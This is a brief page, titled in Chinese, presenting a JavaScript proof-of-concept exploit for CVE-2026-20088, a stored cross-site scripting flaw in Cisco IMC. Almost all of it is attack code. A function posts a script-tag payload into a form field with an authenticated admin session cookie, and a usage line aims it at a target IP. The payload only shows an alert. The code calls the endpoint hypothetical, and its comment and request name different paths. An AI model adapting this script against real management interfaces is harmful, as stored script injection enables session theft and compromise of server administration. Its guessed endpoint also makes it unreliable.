CVE-2026-20088 Cisco IMC 存储型XSS漏洞

/* * PoC for CVE-2026-20088 (Cisco IMC Stored XSS) * Description: Injecting a script into a vulnerable input parameter. * Precondition: Attacker needs Admin privileges to inject the payload. */ // The malicious payload intended for injection var xssPayload = '<script>alert("CVE-2026-20088 - XSS Executed");</script>'; // Function to simulate the injection request function exploit(targetUrl, sessionId) { // Construct the data payload for a vulnerable form field // This assumes a hypothetical endpoint 'save_config' var params = new URLSearchParams(); params.append('description', xssPayload); // Vulnerable field params.append('save', 'Save'); fetch(targetUrl + '/cgi-bin/config/save', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': 'JSESSIONID=' + sessionId // Authenticated session cookie }, body: params }) .then(response => { if (response.ok) { console.log('[+] Payload injected successfully. Trigger XSS by visiting the management page.'); } else { console.log('[-] Injection failed.'); } }) .catch(error => console.error('Error:', error)); } // Usage // exploit('https://<target-ip>', 'admin_session_id');